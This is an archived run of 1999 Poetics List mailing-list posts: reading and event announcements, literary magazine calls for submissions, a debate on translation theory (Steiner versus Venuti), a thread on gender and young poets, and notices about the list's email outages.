Lytle Shaw
Mark Shepard

This issue is still available from the editors for $8. Please make check payable to Lytle Shaw or Emilie Clark. (Add $3 for mailing out of US)

Our second issue, which will come out in March 1999, is "What is Context?"
Contributors:

Tony Bellaver
Charles Bernstein
Gregg Biglieri
Torsten Burns & Anthony Discenza
Emilie Clark
Jean Day
Steve Evans
Linda Geary
Tony Gray
Julie Harrison & Brigid McLeer
Alystyre Julian
Bill Luoma
Emily McVarish
Sarah Pierce
Lytle Shaw
Mark Shepard
Lewis Warsh

Shark c/o
Lytle Shaw and Emilie Clark
74 Varick Street#203
NY, NY 10013
[redacted]

We are also available through Small Press Distribution ([redacted]) and, in the San Francisco Bay Area, at Cody's, Moe's and City Lights. In New York: St. Mark's Books.

↑ Index

80. Charles Bernstein
Seminary Co-Op Interview
Fri 5 Feb 1999

Seminary Co-op Books in Chicago has just put up an interview I did with them on their web site. The site itself is well worth a visit -- detailed information on new books each month, and a newsletter called The Front Table -- all adding up to a very useful resource.

for the interview go to:

http://www.semcoop.com/cbint.html

or via my home page: http://writing.upenn.edu/epc/authors/bernstein

↑ Index

81. Rebecca Wolff
apropos of distribution
Sun 7 Feb 1999

Regarding some of the recent statements made about distribution:

Coincidentally, as editor and publisher of Fence, a literary journal, I am about to engage in some preliminary discussion with some "suits" (administrative, bureaucratic types with connections to government agencies) regarding the situation of literary magazine distribution in this country. This seems to be an optimal, possibly final moment to make this kind of effort with the approaching Ingram/B&N merger, and I'm trying to work out some kind of "advocacy" program, whereby a figure might be installed either at CLMP (Council of Literary Magazines and Presses) or within the structure of the actual distributor, whose interest would be dual: to make money for the distributor by getting more people to buy literary magazines (via placement in bookstores, consumer education of some kind, etc.) and simultaneously to make distributors handle literary magazines with more delicacy and understanding, and to cut us deals relative to our wimpy buying power, etc. I know some of this probably sounds impossibly optimistic, (especially the thing about consumer education,) but that's what I am.

I'd like to collect, in the next week or so (we're meeting the 16th) some more statements of various experiences that publishers of literary journals (and in this case I'm afraid the conversation, for realism's sake, must be limited to those that are perfect-bound and therefore "distributable") have had with distribution--complaints, simple descriptions, analysis, commentary, etc. I'm going to be presenting some of this to these folks in the hopes of trying to effect some practical change.

I would especially like to hear some ideas from publishers about HOW to make a change; what are the practical obstacles that could be altered and how?

Please identify yourself in your reply and say what magazine, what distributor, what part of the country, etc.

If I've left anything out, please feel free to fill that in too.

Thanks,

Rebecca Wolff

↑ Index

82. Alaric Sumner

Perihelion (soundtextimage section) Call For Submissions

Sun 7 Feb 1999

Please forward widely:

_____

PERIHELION (internet magazine) http://webdelsol.com/Perihelion/ (Editor: Jennifer Ley)

CALL FOR SUBMISSIONS (creative and critical)

The Autumn Issue of Perihelion will feature a special Section of Soundtext work
Edited by Alaric Sumner Issue release date: September 1999

_____
CREATIVE SUBMISSIONS:
(Previously unpublished work only)

"PER[ear see eye hear]FORM"

The internet provides the opportunity to present work which has visual=textual=sonic aspects. Perihelion has, for a number of issues, combined textworks with Real Audio® soundfiles. We are now seeking work that is more extensive: a performance piece with its score; a sound file of a performance with the image=text that generated it; multivoice texts. We are not seeking sound pieces that have no visual=textual element but work that allows viewers to explore the RELATIONSHIPS between a something seen=read and something heard (an conventional example would be the relationship between a score and its recorded performance). Submission is encouraged from any artist (visual artist/poet/composer) working in the realm of image=text into sound.

[NB: If your work utilizes more than page to page interior html linking, image maps, or javascript, you will have to do your own coding etc. Perihelion can't be responsible for specialized coding to make the presentation work. Contributors should tailor their presentations to fit into our design and must supply their own RealAudio files, not to exceed 1 meg in size, recorded to work at 28.8 modem speed and play on the free versions of RealAudio Player available for both Macintosh and PC.]

_____
CRITICAL SUBMISSION:
(Previously unpublished work only)

"wRITE"

In 1998, Writers Forum in the UK published WORD SCORE UTTERANCE CHOREOGRAPHY (ed. Cobbing and Upton, ISBN 0 86162 750 4), which offered contributors pagespace for what the editors called "visual poetry" and another page for an exploration of how that work would proceed to performance. That book implicitly and explicitly challenged the boundaries set by such terms as "poetry" and, as Spencer Selby has said, "does advocate for ideas of poetry beyond literature, for ideas of art beyond schools and reductive categories". (See also section on writing and performance edited by Alaric Sumner in PAJ 61 (Johns Hopkins UP) - http://muse.jhu.edu/journals/performing_arts_journal/toc/pajv021.html#v021.1 .)

Building on the concern with the relationship between image and performance (sound), for this issue of Perihelion we are inviting critical discussions on the nature of Image=Text=Sound work and on practitioners. Ideally critical submissions will explore, in their structure, the nature of the medium on offer (Internet) and would not be restricted to conventional critical essay format. Theoretical/critical work from the contributors to "PER[ear see eye hear]FORM" on their own pieces is welcome, but essays from others on theoretical issues and on practitioners (historical or contemporary) who deal with Image Text Sound in any of their interweavings, are also invited.

Contributions to Perihelion's 'Practice' section - about the technology behind the work and bringing it to the Internet - are also sought.

To check if your idea fits, initial submissions/proposals and enquiries to: mailto:[redacted] .

Deadline for initial contact: 15th March 1999

Deadline for submission of finished RealAudio files (creative) and textimage files (both creative and critical): July 15th 1999

↑ Index

83. Alaric Sumner

The Flea Theatre Reading Series, New York, Feb 17

Sun 7 Feb 1999

Since this doesn't appear to have got onto the archive, it may have got caught in the recent problems. So I am submitting it again:

February 17
4pm

Rehearsed reading of >Conversation in Colour<
Text: Alaric Sumner

Directed: Clyde Simon
Music commissioned from composer Michael Finnissy.

The Bat Theatre Company [http://www.thebat.com]
The Flea Theatre
41 White Street
New York
NY 10013

> The Flea Theatre Reading Series
>
> This series will include pieces ranging from works-in-progress having their first readings, to new pieces which have already had productions outside New York. Although open to the public (gratis), the series is primarily for the benefit of the resident company to introduce new works/writers to the company, including to Artistic Director Jim Simpson, as candidates for further collaboration.

Conversation in Colour was first performed at the Tate Gallery St Ives and Dartington Arts Centre in 1996 (with recordings of Finnissy playing his own music) funded by South West Theatre Consortium and sponsored by Terry Bird (Bang and Olufsen South West). In 1994, Phil Dalziel (an MA student at University of Leeds) devised a performance out of the text for his final degree showing.

↑ Index

84. Katherine Lederer
New/ PERMANENT address for Explosive/ Spectacular Books
Sun 7 Feb 1999

Explosive Magazine and Spectacular Books have a new mailing address:

PO Box 250648
Columbia University Station
New York, NY 10025

The magazine is still going strong with a S=U=P=E=R=S=T=A=R April line-up to be announced. The cover art is going to be extra special--with fantastic block-prints on the inside too!

The first three chapbooks in the Spectacular Chapbooks series are all available (or will be shortly) in signed and unsigned editions:

Tina Celona: Songs & Scores
Juliana Spahr: Spiderwasp or Literary Criticism
Martin Corless-Smith: The Garden. A Theophany or Eccohome: A Dialectical Lyric

The next title--a whopping geniusattack by Leslie Scalapino entitled "Seamless Antilandscape"--is forthcoming in April. Future titles by Lisa Lubasch, Prageeta Sharma, Josh May, and Lyn Hejinian (among others) will also be available.

A very few copies of Explosive Magazine #6 are still available for $6
All chapbooks can be ordered for $6 a piece
Signed and numbered sets of ten chapbooks: $50

Please make checks payable to Katy Lederer (International orders: please include $1 s/h per title--$5 for the set of ten chapbooks)

Thanks!

↑ Index

85. Kathleen Crown
Ed Roberson -- Seton Hall Reading
Sun 7 Feb 1999

READING AND PERFORMANCE
Poetry-in-the-Round
Seton Hall University, Kozlowski Hall
Tuesday, February 9, 1999
7:45 pm

ED ROBERSON
and the Royal Hartigan Jazz Quartet.

ED ROBERSON is the author of six books of poetry, one of which won publication as the 1995 Iowa Poetry Prize and another as the 1998 National Poetry Series winner. Recently, Mr. Roberson received a Lila Wallace-Readers Digest Writers Award. The purpose of the award is to enable accomplished writers to create new work while partnering with nonprofit organizations on projects that generate interest in and enthusiasm for the written word. The three-year award includes $30,000.00 for a non-profit organization of the poet's choosing.

for more information about the reading, contact Jeffrey Gray, Director, Poetry-in-the-Round: [redacted]

↑ Index

86. Garrett Kalleberg
TF8 - 2/99 - Coffins
Sun 7 Feb 1999

Little cave. Seventeen tiny coffins.

A wig-maker's tomb.

The devil's hermitage.

A hole a cave a mouth.

[Tiny figure of red devil.]

> The Transcendental Friend
> Issue No. 8, February 1999
>
> www.morningred.com/friend/1999/02/cover.html

Work by Jesse Glass, Aloysius Bertrand (translated & presented by Irène Eulriet & Rob Guthrie), Charles Baudelaire (translated by David Cameron), Pam Rehm, and H. Ramsdell & G. Kalleberg

.

Back issues of The Transcendental Friend are available from the Home page, at the address below.

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

↑ Index

87. Peter Ganick
POTEPOETZINE / POTEPOETTEXT
Sun 7 Feb 1999

A year and a half ago, there were two ezines POTEPOETZINE and POTEPOETTEXT, published by Potes & Poets Press. They were sent to subscribers who sent their email address to Potes & Poets' e-address free of charge. Is was NOT a listserv. One just sent an informal notice of wanting to receive the ezine, or unsubscribe.

As of now, the series will be resurrected, or continue on from where it left off. Seven issues of POTEPOETZINE and nine of POTEPOETTEXT were sent forth.

POTEPOETZINE is an edited ezine seeking submissions of approximately 4 screens in length -- AND, e-addresses of anyone who wants to receive it. Issues will be sent out when sufficient material collects and time to process it arrives. The focus will be on experimental, post-language, and cyber-oriented poetry and short prose.

POTEPOETTEXT is an edited single-author ezine seeking texts of poetry or on poetics, of approximately 16 screen lengths, with some philosophical import. Cyber-topics will be especially welcome.

~ ~ ~ ~ ~ ~

Send e-addresses and submissions to:
Peter Ganick
[redacted]

SPREAD THE WORD TO YOUR FRIENDS!!!!

~ ~ ~ ~ ~ ~

↑ Index

88. jesse glass
Stuart Z. Perkoff and the Temple of Man
Sun 7 Feb 1999

This is a multi-part message in MIME format.

Beach and Temple; Outsider Poets and Artists of Western America 1953-1995 by David B. Griffiths. International Scholars Publications. ISBN 1-57309-311-4-HC, ALK, Paper. 425 pages. $40.00.

At the same time that Ginsberg, Kerouac, Corso and company were transforming American letters to the north, a group of poets centered in the Venice Beach area of California were also involved in creating a distinctive poetry. This scene centered around the work and life of Stuart Z. Perkoff, a poet whose significance is just now being rediscovered, his complete poems having recently been released from The National Poetry Foundation. Jack Hirschman, David Meltzer, and other poets and writers of note were associated with this group and their peculiar allegiance to The Lady and the self-styled Temple of Man.

Griffiths interviewed many members of the group and examines and catalogues the rare publications that sustained their community. In so doing, he gives valuable biographical information about Perkoff and provides the context in which he and his friends, lovers, and followers lived and wrote. This book will prove invaluable for those interested in a little-known aspect of American literary history, and is yet another piece of the puzzle of what happened in the 1950's that gave rise to the explosion of alternative lifestyles of the 1960's.
Jesse Glass.

↑ Index

89. Louis Cabri
PhillyTalks 9
Sun 7 Feb 1999

PhillyTalks 9, featuring Heather Fuller and Melanie Neilson, is out!

The event takes place Wednesday Feb 10, 7 pm, at Writers House, 3805 Locust Walk, Philadelphia.

The newsletter--which features new work by the poets as well as dialogue between them, and also includes responses to previous newsletters, by Clint Burnham and Jeff Derksen--is available for $2 from me.

Previous issues of the newsletter are also available: #1, Bromige/Moriarty; #2, Levy/Mac Low; #3, Derksen/Silliman; #4, Darragh/Osman; #5, Gilbert/Toscano; #6, Response issue plus transcript of the Derksen/Silliman exchange; #7, Stefans/Wah; #8, Andrews/Smith.

All best,
Louis Cabri
4331 Pine St., #1R
Philadelphia, PA
19104

↑ Index

90. A. Jenn Sondheim
(from Nikuko) (please forward to her friends)
Mon 8 Feb 1999

---

*

(from Nikuko)

Nikuko says, I start this text one fine evening, and I will end it on ano- ther. There is snow on the ground and flurries in the air, and dark-suited pedestrians walk home, sullen, beneath the gaslights. I can hear them from my own darkness, my own world, the screen pregnant, slightly swollen. If you would only listen, I would tell you how, on the morrow, a great golden globe shall fill the sky, with golden rays, and universal peace shall descend upon all human-kind. The dead will walk, the fish will fly. But I am lost with the umbrellas in St. Petersburg, where you will find me rushing off to a Nihilist meeting, where we will discuss the Crimea and the Jewish Question. And I do believe in my heart of hearts that I am tending towards Fyodor's position; perhaps on the morrow as well, we shall march on Constantinople. The light is dim; two peasant women move hurridly out of the way of several Cossacks on horseback. Last night, I dreamed of 1903, and woke in wonder at our all-too-brief life on earth. Now I wonder how you will find me. And I am lost in scarves and skirts, faces muffled against the icy wind. St. Petersburg is no place to be this time of year; some would say, at any. I am pregnant, with longing, and with child. And I know, again on the morrow, beneath these dimmed winter nights, that my time will come as well. I am no man's burden.

↑ Index

91. Jamie Ferguson
(no subject)
Mon 8 Feb 1999

To those who have replied to my attempts at instigating an exchange on literary translation, thank you. However, I wonder if we could write to each other on the List instead of privately. The more opinions and information we publish, it seems to me, the more responses we might get from other parties, and the richer the exchange.

And as for opinions: I am suspicious of what people have been writing to me on Steiner. Everyone seems to have read some of AFTER BABEL, and everyone seems to want to dismiss the book. I sense in these disparagements a Popular Opinion, not founded on real engagement. I will stake my virtual reputation on the claim that, dropped between the covers of AFTER BABEL, THE TRANSLATOR'S INVISIBILITY disappears without a trace (forgive the pun): there is nothing in Venuti that is not better expressed in Steiner. (I sense another popular opinion behind Venuti's popularity.)

A former professor of mine once said that Steiner was a charlatan... now if you're experiencing a little thrill of joy at these words, I would ask if this feeling doesn't result from confirmed prejudice rather than the steadier pleasure of discovering a shared perception. Plato said it: there is opinion and then there is knowledge; Herodotus said the same, and Charles Olson took up the distinction as one of his main tenets (pardon my truly Modernist timeline). I told my professor that I had read only AFTER BABEL, but that, as far as that book was concerned, Steiner seemed to me excellent. He replied that translation would, in fact, be an area in which Steiner could be relied upon... generally speaking, that is: he had not read the book.

For those of you who HAVE read the book: what, specifically, don't you agree with? As I said in my last post, there are two chapters that I return to in AFTER BABEL: The Claims of Theory and The Hermeneutic Motion. I am not qualified to make a professional assessment of Steiner's arguments addressing Linguistics, the physiology of the brain, the setting to music of poetic texts, etc.; as a review and synthesis of a sizeable gamut of translation practices and theories, however, AFTER BABEL is indispensable. AB does not make the claim on the cover of THE TRANSLATOR'S INVISIBILITY to being "A History of Translation", and yet the former includes much more history than the latter, and is not shaped, as Venuti's book is, by a clearly political agenda.

As I said before, Venuti's purpose is to expose a preference for a particular kind of English as a vehicle for translation, and not to demonstrate the literary quality (in the work of Newmann, Blackburn, Venuti himself, etc.) that is excluded by this preference. Nor does he attempt to show the lack of quality that results from such a tendentious preference. In an "objective" history of tastes, this program would make sense, but Venuti is arguing explicitly for a reappraisal of the kind of work that has been excluded (one wonders how much of this comes of a resentment at the exclusion of his own work - see the penultimate chapter), while his sole claim for this work is that it has suffered from a consistent prejudice. This seems to me fallacious, and dangerous, reasoning. It is on this basis that I call Venuti's book strictly "political." I don't have a copy of the book with me, but would welcome points on specific passages.

I would very much like to learn of Dennis Tedlock's work on translation, perhaps beginning with a distinction between what is anthropological and what is literary in his work. (Are my categories antiquated?)

Also: a correspondent mentioned a book, THE EXPERIENCE OF THE FOREIGN, by Antoine Berman, which, I am sorry to say, I have never even heard of. Please share.

Has anyone, besides Steiner, read Emile Littré on his translation of the COMMEDIA into fourteenth-century French (the French, as Littré says, and Steiner after him, that Dante knew and learned from). I am translating this article into English at the moment: does anyone know of a journal that might take an interest in such a translation? (The article was published mid-nineteenth-century; the translation will be written in a nineteenth-century literary dialect: I'm in the process of weighing up Ruskin and Arnold as possible donors.)

Another possible point of departure: how much in the exchange on translation published on the RIF/T site [http://writing.upenn.edu/epc/rift/rift04/edit0401.html], aside from the Benjamin-excerpts, is worthwhile? Has this thread been followed up?

A CORRECTION: in my last post, I wrote "mis-en-scene" instead of "mise-en-scene" with an /e/.

Until next time,
Jamie Ferguson
Paris

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

92. louis stroffolino

BATTLE OF THE SEXES

Mon 8 Feb 1999

Dear listees: You know, there's certain "commonplaces" circulating that the women writers of "my generation" are so much better than the male writers (the previous moderator Joel Kuzsai, I think was the last one to say this, and it went unchallenged....so far)--- I think I used to think this too a couple of years ago, but the best books I've read in the last year by young writers all seem to be male for me (NOTICE very carefully my wording-- I am not saying that the MALES are the superior sex or anything, I'm just saying that it is as ridiculous to say the women are the best writers of my generation as it is to say that say Ron Silliman or Bruce Andrews is better than Carla Harryman or Rae Armantrout...)

specifically, two "first books"
Anselm Berrigan's INTEGRITY & DRAMATIC LIFE
Joshua Beckman's THINGS ARE HAPPENING
and two "second books"
Peter Gizzi's ARTIFICIAL HEART
and Jeffrey McDaniel's THE FORGIVENESS PARADE...

well, if anybody wants to tell me why the works by the more currently "fashionable" gender are better, feel free (unless the moderator doesn't see this kind of argument as worthy of the new list.....)

sincerely,
chris stroffolino

↑ Index

93. jasfoley

Re: (Fwd) Coincidence?

Mon 8 Feb 1999

In a message dated 2/4/99 11:07:18 AM EST, [redacted] writes:

<< For those interested in Politics and the English Language --

PRESIDENT CLINTON OF THE USA

Can be rearranged (with no letters left over, and using each letter only once) into:

TO COPULATE HE FINDS INTERNS
>>

Actually, it doesn't work. There is no H in "PRESIDENT CLINTON OF THE USA" and no F either. The phrase "TO COPULATE" has two o's in it; there is only one o in "PRESIDENT CLINTON OF THE USA." I haven't looked for any other problems.

"Those interested in the English language" might do well to take a closer look!

Jack

↑ Index

94. jasfoley
correction
Mon 8 Feb 1999

Actually there ARE two o's in "PRESIDENT CLINTON OF THE USA"--my mistake--but still no F or H.

Jack

↑ Index

95. Charles Bernstein
UB MAIL / Poetics List DOWN
Mon 8 Feb 1999

The email system at UB has crashed again, second time this week. This time it has been a complete crash and the whole system, including all saved mail, etc., will have to be restored. UB email has been down since early Sunday morning. The technical folks at UB have announced that tomorrow (Tuesday) they expect to be able to deliver all the mail that was sent to UB accounts after midnight Saturday. This means that mail sent to any individuals at "buffalo.edu" after midnight Saturday night has not been delivered and that individuals using the UB mail servers cannot now access their accounts. That covers both the EPC and the Poetics List, to name just a few affected. Unfortunately, mail sent to the Poetics List won't be able to go out until this problem is fixed. However, the messages already sent should find their way out to the list fairly soon, if things go as the systems administrators tell us they will.

↑ Index

96. Elizabeth Treadwell

Clean Laundry Times Fashion Week - OR - Double Lucy's New Improved Website!!

Mon 8 Feb 1999

Hi All--
Are you ready for fashion week? Its early this year and Double Lucy throws her/our hat in with a new, improved website featuring excerpts from Outlet (3) Ornament by:
LAURA MORIARTY
FRANKLIN BRUNO
JASON NELSON
MALCOLM DE CHAZAL [translated by IRVING WEISS]

As you stroll about, perhaps running into Kate Moss as she recuperates from THE WEIGHT OF IT ALL, you'll also find our Outlet/DLB ARCHIVE*, including work by:
TAN LIN
JOCELYN SAIDENBERG
NORMA COLE
YEDDA MORRISON
SARAH ANNE COX
LINDA RUSSO
STANDARD SCHAEFER
ELIZABETH TREADWELL
JEN HOFER
CYDNEY CHADWICK
LILY JAMES
CAROL TREADWELL
MICHELLE MURPHY
CHERYL BURKET
&
GRACE LOVELACE on HAL HARTLEY's "Henry Fool"

Coming soon: more excerpts from Outlet (3) Ornament, and excerpts from Double Lucy's first prose chapbook, LYNNE TILLMAN's novella, LOVE SENTENCE.

Stop by and check out the catwalk, kids!!!

xx
Elizabeth Treadwell (AKA Anna Wintour)

ps: you can get straight to the Outlet excerpts by dialing http://users.lanminds.com/~dblelucy/page8.html

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

97. John Kimball
Haiku and misdemeanors
Mon 8 Feb 1999

The East Village Poetry Web.

<http://www.theeastvillage.org>

or

<http://interserver.miyazaki-med.ac.jp/~east/village.htm>

Sound and vision.

Volume Five -- Lewis Warsh [Milton Street]; M Sarki [4 Poems]; Paul Violi [4 Poems]; Wei Se [3 Poems]; Andrea Brady [4 Poems]; Wang Ping [2 Poems]; Sean Cole [Dickensian]; Hoa Nguyen [9 Poems]; Harris Schiff [3 Poems]; Toko Shinoda [5 Images]; Gary Sullivan [5 Letters]; Kenjiro Okazaki [2 Images with Verse Titles]; Mark Salerno [7 Poems]; Nada Gordon [Ravel]; Roxy Paine [2 Images]; Andrew Levy [Combat the Forces...]; Katherine Steele [3 Poems]; Sheila Murphy [3 Poems]; Brian Kim Stefans [2 Poems]; Scott Watson [4 Poems]; Peter Ganick [from Agression]; David 2 Divizio [Hunger]; Chong Lau [Untitled Image]

Audio & Video -- Tomoyuki Iino [John Ashbery: Translated into Japanese]; Squarepusher [Come on My Selector]; The Brilliant Green [Message]; Peter Ganick; Nada Gordon; Sean Cole; Andrea Brady

Web Textcraft -- Annette Loudon [Skyline]; Reiner Strasser [2 Image Sets]; Chris Najewicz [My Life as a Brick]; Miekal And ["mesostics for dick higgins"]

(For previous selections, including Poetries of Canada, choose "Other Volumes" in the upper left of the opening screen.)

Thanks.

↑ Index

98. Heather H Thomas get your 6ix
Tue 9 Feb 1999

Greetings everyone,

6ix is here!

The latest edition of the newly designed and expanded 6ix features Lewis Warsh, Shira Dentz, Eli Goldblatt, Robin Caton, Spencer Selby, H. T., Elizabeth Robinson, Charles Alexander, Sheila Murphy, Liz Waldner, Andrew Mossin, Cynthia Hogue, Jonathan Brannen, Jacques Debrot, Linda Russo, Joe Ahearn, Donna Cartelli, Michael Magee, and more.

For your copy or to subscribe, send $6 for one year/one copy or $12 for two to: 6ix, 427 West Carpenter Lane Philadelphia, PA 19119

Heather H. Thomas, English Dept., Kutztown U., Kutztown, PA/USA [redacted]

↑ Index

99. Daniel Kane
Tom Carey on WriteNet
Tue 9 Feb 1999

The "WriteNet" web site has just put up an interview with Tom Carey (poet who has a book out called _Desire_ and who is known as James Schuyler's "muse" in Schuyler's later poetry). Carey talks about methods for teaching the persona and list poem. You can also download a reading of his poem "Father Bob." The page is located at http://www.writenet.org/poetschat/poetschat_tcarey.html

↑ Index

100. Mike Kelleher
Reading
Tue 9 Feb 1999

Hi friends

If you're in NYC this weekend

Mike Kelleher
Jonathan Skinner
and Eleni Stecopoulos

will be reading at Double Happiness, 173 Mott St. (at Broome)

Saturday, February 13 @ 4pm

Hope to see you there

m

↑ Index

101. R. Gancie/C.Parcelli

readings and contests

Tue 9 Feb 1999

Thursday, 11 at 7P.M. Love Letters for Literacy featuring Alice McDermott, Daniel and Ruth Boorstin and others reading from poetry and prose in honor of Valentine's Day at the New Zealand Embassy, 37 Observatory Circle, [redacted]. Tickets are $75.00 with all proceds going to the Washington Literary Council. -- Joaquin Miller Cabin Poetry Series is currently seeking poets for summer readings. The deadline is March 15. For guidelines, call [redacted]. -- Secretary of Defense, William S. Cohen, will host an open poetry reading on the deck of the aircraft carrier, U.S.S. Nimitz, Saturday,12 at 0300 hours. All poetic voices welcome. BYOB.

↑ Index

102. Poetics List

More trouble...

Tue 9 Feb 1999

The mailhub for the <buffalo.edu> domain failed again late Saturday. My apologies for the silence from this end - I'm just now able to reach the list account, thanks to a temporary fix implemented about 25 minutes ago.

I'm going to send through the messages that I have queued here - others will come as I'm able to send them, but please be patient: I'm not yet sure how this "fix" is going to affect the behavior of the listserv program or even the list account! The "permanent" solution to our server problems is due next week - until then, keep your fingers crossed when not typing.

Chris

↑ Index

103. Poetics List
Armand Schwerner 1927-1999
Tue 9 Feb 1999

---------- Original message (ID=BE0E52FF) (25 lines)

From: [redacted]
Date: Sun, 7 Feb 1999 23:22:42 EST
To: [redacted]
Subject: Armand Schwerner 1927-1999

GLAD TO HAVE SHARED SOME OF THIS CENTURY'S RIDE WITH ARMAND THE SCHOLAR-TRANSLATOR OF "THE TABLETS" HIS WILD TENDERNESS SERIOUS FUN FRIENDLY LEARNEDNESS & (AS THE ENGLISH USED TO SAY) "NO SIDE"

Anselm Hollo

↑ Index

104. Alaric Sumner
MAY
Tue 9 Feb 1999

PLEASE NOTE

THE TEXTIMAGESOUND ISSUE OF PERIHELION WHICH Alaric Sumner IS EDITING IS THE SEPTEMBER ISSUE (text is visual, language is soundimage, image is textual)

THE MAY ISSUE CALL FOR SUBMISSIONS IS AS FOLLOWS:

_____

The May 1999 issue of Perihelion will be guest edited by Peter Howard.

The theme for this issue of Perihelion is 'Nationality or Not' and will explore questions of how nationality and location influences poetry (and vice versa) and whether telecommunications breaks down or changes these influences. Poems, essays and discussions that relate to this theme, directly or tangentially, are particularly welcomed.

Submission Period: February 15th through April 15th, 1999

-- Send up to five poems in the body of your email message (no attachments without prior query) to [redacted] -- Submissions must be unpublished (newsgroup

or workshop postings are not considered publication) -- Please include a short biography

If you want to sound Peter out on an idea for a critical article, please do. If you'd be interested in taking part in an email discussion of the them, to be reproduced in the issue, let him know mailto:[redacted]

Perihelion is at: http://webdelsol.com/Perihelion/

↑ Index

105. Katherine Lederer
BATTLE OF THE SEXES
Tue 9 Feb 1999

The females are on their way:

Ange Mlinko: MATINEES (Zoland, April 1999)
Prageeta Sharma: BLISS TO FILL (Subpress, May 1999)
Lisa Lubasch: HOW MANY MORE OF THEM ARE YOU? (Avec, April 1999)
Pamela Lu: PAMELA: A NOVEL (Atelos, April 1999)

Katy

> Dear listees:
> You know, there's certain "commonplaces" circulating that the > women writers of "my generation" are so much better than the > male writers (the previous moderator Joel Kuzsai, I think was the > last one to say this, and it went unchallenged....so far)---
> I think I used to think this too a couple of years ago,
> but the best books I've read in the last year by young writers
> all seem to be male for me (NOTICE very carefully my wording--
> I am not saying that the MALES are the superior sex or anything,
> I'm just saying that it is as ridiculous to say the women are > the best writers of my generation as it is to say that say
> Ron Silliman or Bruce Andrews is better than Carla Harryman
> or Rae Armantrout...)
>
> specifically, two "first books"
> Anselm Berrigan's INTEGRITY & DRAMATIC LIFE
> Joshua Beckman's THINGS ARE HAPPENING
> and two "second books"
> Peter Gizzi's ARTIFICIAL HEART
> and Jeffrey McDaniel's THE FORGIVENESS PARADE...
>
> well, if anybody wants to tell me why the works by the
> more currently "fashionable" gender are better, feel free > (unless the moderator doesn't see this kind of argument
> as worthy of the new list.....)

> sincerely,
> chris stroffolino

↑ Index

106. Aldon Nielsen
Re: BATTLE OF THE SEXES
Tue 9 Feb 1999

---

well . . . you said to take careful note of your wording --

I have to wonder,,,,

if these young writers seem male to you, how do you think they seem to others?

↑ Index

107. Aldon Nielsen reply to sender
Tue 9 Feb 1999

FREE THE "PITIFUL THREE"

(a night in which all helicopters are black)

I am not a fact witness

The President's gifts are hidden

I have never touched the President's testimony

The fact that people ask that question is itself a question

The President has no specific recollection

The Independent Counsel has promised to search his recollection

The Senator's aide explained that his recollection is not that straightforward

The Senator does not consider himself a member

The witenss could not recall the breakfast

I yield to myself such time as I may consume

The members are recessed

↑ Index

108. Mark Weiss
(no subject)
Tue 9 Feb 1999

And Winnie the Poo was translated into Latin, I guess for those leftover Roman waifs. Akin perhaps to the old custom of translating the dirty passages into Latin, so that only scholars could get their rocks off. Why else translate from a language foreign to the reader into a version of one's own language only marginally understandable to same? Translation is not replication, and it's not just about text. Translation translates as well what the reader needs to know about context, linguistic and otherwise.

At 03:06 PM 2/8/99 GMT, you wrote:
>To those who have replied to my attempts at instigating an exchange on >literary translation, thank you. However, I wonder if we could write to >each other on the List instead of privately. The more opinions and >information we publish, it seems to me, the more responses we might get >from other parties, and the richer the exchange.
>
>And as for opinions: I am suspicious of what people have been writing to >me on Steiner. Everyone seems to have read some of AFTER BABEL, and >everyone seems to want to dismiss the book. I sense in these >disparagements a Popular Opinion, not founded on real engagement. I will >stake my virtual reputation on the claim that, dropped between the >covers of AFTER BABEL, THE TRANSLATOR'S INVISIBILITY disappears without >a trace (forgive the pun): there is nothing in Venuti that is not better >expressed in Steiner. (I sense another popular opinion behind Venuti's >popularity.)
>
>A former professor of mine once said that Steiner was a charlatan... now >if you're experiencing a little thrill of joy at these words, I would >ask if this feeling doesn't result from confirmed prejudice rather than >the steadier pleasure of discovering a shared perception. Plato said it:
>there is opinion and then there is knowledge; Herodotus said the same, >and Charles Olson took up the distinction as one of his main tenets >(pardon my truly Modernist timeline). I told my professor that I had >read only AFTER BABEL, but that, as far as that book was concerned, >Steiner seemed to me excellent. He replied that translation would, in >fact, be an area in which Steiner could be relied upon... generally >speaking, that is: he had not read the book.
>
>For those of you who HAVE read the book: what, specifically, don't you >agree with? As I said in my last post, there are two chapters that I >return to in AFTER BABEL: The Claims of Theory and The Hermeneutic >Motion. I am not qualified to make a professional assessment of >Steiner's arguments addressing Linguistics, the physiology of the brain, >the setting to music of poetic texts, etc.; as a review and synthesis of >a sizeable gamut of translation practices and theories, however, AFTER >BABEL is indispensable. AB does not make the claim on the cover of THE >TRANSLATOR'S INVISIBILITY to being "A History of Translation", and yet >the former includes much more history than the latter, and is not >shaped, as Venuti's book is, by a clearly political agenda.

>
>As I said before, Venuti's purpose is to expose a preference for a >particular kind of English as a vehicle for translation, and not to >demonstrate the literary quality (in the work of Newmann, Blackburn, >Venuti himself, etc.) that is excluded by this preference. Nor does he >attempt to show the lack of quality that results from such a tendentious >preference. In an "objective" history of tastes, this program would make >sense, but Venuti is arguing explicitly for a reappraisal of the kind of >work that has been excluded (one wonders how much of this comes of a >resentment at the exclusion of his own work - see the penultimate >chapter), while his sole claim for this work is that it has suffered >from a consistent prejudice. This seems to me fallacious, and dangerous, >reasoning. It is on this basis that I call Venuti's book strictly >"political." I don't have a copy of the book with me, but would welcome >points on specific passages.
>
>I would very much like to learn of Dennis Tedlock's work on translation, >perhaps beginning with a distinction between what is anthropological and >what is literary in his work. (Are my categories antiquated?)
>
>Also: a correspondent mentioned a book, THE EXPERIENCE OF THE FOREIGN,
>by Antoine Berman, which, I am sorry to say, I have never even heard of.
>Please share.
>
>Has anyone, besides Steiner, read Emile Littré on his translation of the >COMMEDIA into fourteenth-century French (the French, as Littré says, and >Steiner after him, that Dante knew and learned from). I am translating >this article into English at the moment: does anyone know of a journal >that might take an interest in such a translation? (The article was >published mid-nineteenth-century; the translation will be written in a >nineteenth-century literary dialect: I'm in the process of weighing up >Ruskin and Arnold as possible donors.)

>
>Another possible point of departure: how much in the exchange on >translation published on the RIF/T site >[http://writing.upenn.edu/epc/rift/rift04/edit0401.html], aside from the >Benjamin-excerpts, is worthwhile? Has this thread been followed up?
>
>A CORRECTION: in my last post, I wrote "mis-en-scene" instead of
>"mise-en-scene" with an /e/.
>
>
>Until next time,
>Jamie Ferguson
>Paris
>
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>

